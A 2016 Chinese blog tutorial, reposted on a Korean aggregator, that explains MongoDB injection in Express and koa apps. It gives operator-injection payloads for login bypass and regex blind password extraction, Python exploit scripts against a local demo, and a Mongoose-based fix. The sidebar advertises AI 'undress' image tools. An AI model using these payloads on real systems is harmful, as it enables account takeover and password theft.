목차
The difference between Express and koa
GET
POST
Mongodb Injection in Express
Bypass Login Directly in Express
Login Blind Injection in Express
Exploit
0x02
Express with Mongoose
At the end
데이터 베이스 MySQL 튜토리얼 Mongodb Injection in Node.js Web Framework

Mongodb Injection in Node.js Web Framework

Jun 07, 2016 pm 04:41 PM
mongodb node.js web

The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和

The difference between Express and koa

Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。

GET

在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:

<code>test[1]=a&test[2]=b
</code>
로그인 후 복사

Expres 的 req.query 会把 test 处理成 Object:

<code>{ test: [ 'a', 'b' ] }
</code>
로그인 후 복사

koa 的 this.request.query 却不会:

<code>{ 'test[1]': 'a', 'test[2]': 'b' }
</code>
로그인 후 복사

在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。

POST

在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded,Express和 koa 的行为也是不相同的,对于:

<code>test[a]=123&test[b]=456
</code>
로그인 후 복사

Express 的 req.body 解析后的结果为:

<code>{ 'test[a]': '123', 'test[b]': '456' }
</code>
로그인 후 복사

koa co-body 处理后解析后的结果为:

<code>{ test: { a: '123', b: '456' } }
</code>
로그인 후 복사

当 Content-Type 为 multipart/form-data,对于:

<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[a]"
123
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[b]"
456
------WebKitFormBoundaryxUTB0WY8QmAfDBIp--
</code>
로그인 후 복사

Express 利用 multiparty 解析的结果为:

<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] }
</code>
로그인 후 복사

koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json,Express 和 koa 在结果上时相同的,对于:

<code>{"test1": 1, "test2": {"test": "hello"}}
</code>
로그인 후 복사

解析结果都为:

<code>{ test1: 1, test2: { test: 'hello' } }
</code>
로그인 후 복사

另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。

Mongodb Injection in Express

这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。

对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。

我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin

Bypass Login Directly in Express

/controllers/user.js

<code>LoginHandler.login = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'Login Fail'});
            return;
        };
        response.status(200).json({user: 'Hello ' + user.username});
    });
};
</code>
로그인 후 복사

此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js

<code>User.prototype.login = function (callback) {
    var _user = {
        username: this.username,
        password: this.password
    };
    db.open(function (err, db) {
        if (err) return callback(err);
        db.collection('users', function (err, collection) {
            if (err) {
                db.close();
                return callback(err);
            };
            collection.findOne(_user, function (err, user) { // Injection
                // do stuff
            });
        });
    });
}
</code>
로그인 후 복사

由于此处我们提交的数据为:

<code>{"username": "test", "password": {"$ne": 1}
</code>
로그인 후 복사

Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。

Login Blind Injection in Express

/controller/user.js

<code>LoginHandler.login2 = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'User not exist'});
            return;
        };
        if (user.password === request.body.password) {
            response.status(200).json({user: 'Hello ' + user.username});
        } else {
            response.status(401).json({message: 'Password is not correct'});
        };
    });
};
</code>
로그인 후 복사

此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:

<code>{"username": "test", "password": {"$regex": "^1"}}
</code>
로그인 후 복사

如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:

<code>{"username": "test", "password": {"$regex": "^11"}}
</code>
로그인 후 복사

重复上述步骤直至猜解结束。

Exploit

0x01

Code:

<code>import urllib2
request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"})
print urllib2.urlopen(request).read()
</code>
로그인 후 복사

Result:

0x02

Code:

<code>import sys
import urllib2
def req(url, data):
    try:
        request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'})
        return urllib2.urlopen(request).read()
    except urllib2.HTTPError, e:
        return e.read()
url = 'http://localhost:3000/login2'
FLAG_USER_NOT_EXIST = 'User not exist'
FLAG_PASSWORD_INCORRECT = 'Password is not correct'
chars = '9876503412'
payload = '{"username": "ricter","password": {"$regex": "^%s"}}'
password = ''
while 1:
    for i in chars:
        resp = req(url, payload % (password + i))
        if FLAG_PASSWORD_INCORRECT in resp:
            password += i
            print password
            break
        elif FLAG_USER_NOT_EXIST in resp:
            pass
        if i == chars[-1]:
            print password
            sys.exit(0)
</code>
로그인 후 복사

Result:

Express with Mongoose

常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。

使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:

<code>var _User = new db.Schema({                
    username: String,
    password: String,
    apikey: String  
});
</code>
로그인 후 복사

这样的话,我们传入:

<code>{"username": "ricter","password": {"$ne": 1}}
</code>
로그인 후 복사

实际上查询的时候会被转变成:

<code>{ username: 'ricter', password: undefined }
</code>
로그인 후 복사

所以不会造成 Mongodb Injection。

At the end

Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

백엔드 개발에서 Golang과 Node.js 비교 백엔드 개발에서 Golang과 Node.js 비교 Jun 03, 2024 pm 02:31 PM

Go와 Node.js는 입력(강함/약함), 동시성(고루틴/이벤트 루프), 가비지 수집(자동/수동)에서 차이가 있습니다. Go는 높은 처리량과 낮은 대기 시간을 가지며 고부하 백엔드에 적합합니다. Node.js는 비동기 I/O에 적합하고 높은 동시성 및 짧은 요청에 적합합니다. 두 가지의 실제 사례에는 Kubernetes(Go), 데이터베이스 연결(Node.js) 및 웹 애플리케이션(Go/Node.js)이 포함됩니다. 최종 선택은 애플리케이션 요구 사항, 팀 기술 및 개인 선호도에 따라 달라집니다.

net4.0의 용도는 무엇입니까 net4.0의 용도는 무엇입니까 May 10, 2024 am 01:09 AM

.NET 4.0은 다양한 애플리케이션을 만드는 데 사용되며 객체 지향 프로그래밍, 유연성, 강력한 아키텍처, 클라우드 컴퓨팅 통합, 성능 최적화, 광범위한 라이브러리, 보안, 확장성, 데이터 액세스 및 모바일을 포함한 풍부한 기능을 애플리케이션 개발자에게 제공합니다. 개발 지원.

데비안에서 MongoDB 자동 확장을 구성하는 방법 데비안에서 MongoDB 자동 확장을 구성하는 방법 Apr 02, 2025 am 07:36 AM

이 기사는 데비안 시스템에서 MongoDB를 구성하여 자동 확장을 달성하는 방법을 소개합니다. 주요 단계에는 MongoDB 복제 세트 및 디스크 공간 모니터링 설정이 포함됩니다. 1. MongoDB 설치 먼저 MongoDB가 데비안 시스템에 설치되어 있는지 확인하십시오. 다음 명령을 사용하여 설치하십시오. sudoaptupdatesudoaptinstall-imongb-org 2. MongoDB Replica 세트 MongoDB Replica 세트 구성은 자동 용량 확장을 달성하기위한 기초 인 고 가용성 및 데이터 중복성을 보장합니다. MongoDB 서비스 시작 : sudosystemctlstartMongodsudosys

데비안에서 MongoDB의 고 가용성을 보장하는 방법 데비안에서 MongoDB의 고 가용성을 보장하는 방법 Apr 02, 2025 am 07:21 AM

이 기사는 데비안 시스템에서 고도로 사용 가능한 MongoDB 데이터베이스를 구축하는 방법에 대해 설명합니다. 우리는 데이터 보안 및 서비스가 계속 운영되도록하는 여러 가지 방법을 모색 할 것입니다. 주요 전략 : ReplicaSet : ReplicaSet : 복제품을 사용하여 데이터 중복성 및 자동 장애 조치를 달성합니다. 마스터 노드가 실패하면 복제 세트는 서비스의 지속적인 가용성을 보장하기 위해 새 마스터 노드를 자동으로 선택합니다. 데이터 백업 및 복구 : MongoDump 명령을 정기적으로 사용하여 데이터베이스를 백업하고 데이터 손실의 위험을 처리하기 위해 효과적인 복구 전략을 공식화합니다. 모니터링 및 경보 : 모니터링 도구 (예 : Prometheus, Grafana) 배포 MongoDB의 실행 상태를 실시간으로 모니터링하고

MongoDB 데이터베이스 비밀번호를 보는 Navicat의 방법 MongoDB 데이터베이스 비밀번호를 보는 Navicat의 방법 Apr 08, 2025 pm 09:39 PM

해시 값으로 저장되기 때문에 MongoDB 비밀번호를 Navicat을 통해 직접 보는 것은 불가능합니다. 분실 된 비밀번호 검색 방법 : 1. 비밀번호 재설정; 2. 구성 파일 확인 (해시 값이 포함될 수 있음); 3. 코드를 점검하십시오 (암호 하드 코드 메일).

Pi Coin의 주요 업데이트 : Pi Bank가오고 있습니다! Pi Coin의 주요 업데이트 : Pi Bank가오고 있습니다! Mar 03, 2025 pm 06:18 PM

Pinetwork는 혁신적인 모바일 뱅킹 플랫폼 인 Pibank를 출시하려고합니다! Pinetwork는 오늘 Pibank라고 불리는 Elmahrosa (Face) Pimisrbank에 대한 주요 업데이트를 발표했습니다. Pibank는 Pinetwork Cryptocurrency 기능을 완벽하게 통합하여 화폐 통화 및 암호 화폐의 원자 교환을 실현합니다 (US Dollar, Indones rupiah, indensian rupiah and with rupiah and and indensian rupiah and rupiah and and Indones rupiah and rupiahh and rupiah and rupiah and rupiah and rupiah and rupiah and rupiah and rupiah cherrenciance) ). Pibank의 매력은 무엇입니까? 알아 보자! Pibank의 주요 기능 : 은행 계좌 및 암호 화폐 자산의 원 스톱 관리. 실시간 거래를 지원하고 생물학을 채택하십시오

MongoDB 인덱스를 정렬하는 방법 MongoDB 인덱스를 정렬하는 방법 Apr 12, 2025 am 08:45 AM

정렬 색인은 특정 필드 별 컬렉션의 문서를 정렬 할 수있는 MongoDB 인덱스 유형입니다. 정렬 색인을 만들면 추가 분류 작업없이 쿼리 결과를 빠르게 정렬 할 수 있습니다. 장점에는 빠른 정렬, 쿼리 재정의 및 주문형 정렬이 포함됩니다. 구문은 db.collection.createIndex ({field : & lt; sort order & gt;}), 여기서 & lt; sort order & gt; 1 (오름차순 순서) 또는 -1 (하강 순서)입니다. 여러 필드를 정렬하는 멀티 필드 분류 인덱스를 만들 수도 있습니다.

Mongodb vs. Oracle : 데이터 모델링 및 유연성 Mongodb vs. Oracle : 데이터 모델링 및 유연성 Apr 11, 2025 am 12:11 AM

MongoDB는 구조화되지 않은 데이터 및 빠른 반복을 처리하는 데 더 적합한 반면 Oracle은 엄격한 데이터 일관성과 복잡한 쿼리가 필요한 시나리오에 더 적합합니다. 1. MongoDB의 문서 모델은 유연하고 복잡한 데이터 구조를 처리하는 데 적합합니다. 2. Oracle의 관계 모델은 데이터 일관성과 복잡한 쿼리 성능을 보장하기 위해 엄격합니다.

See all articles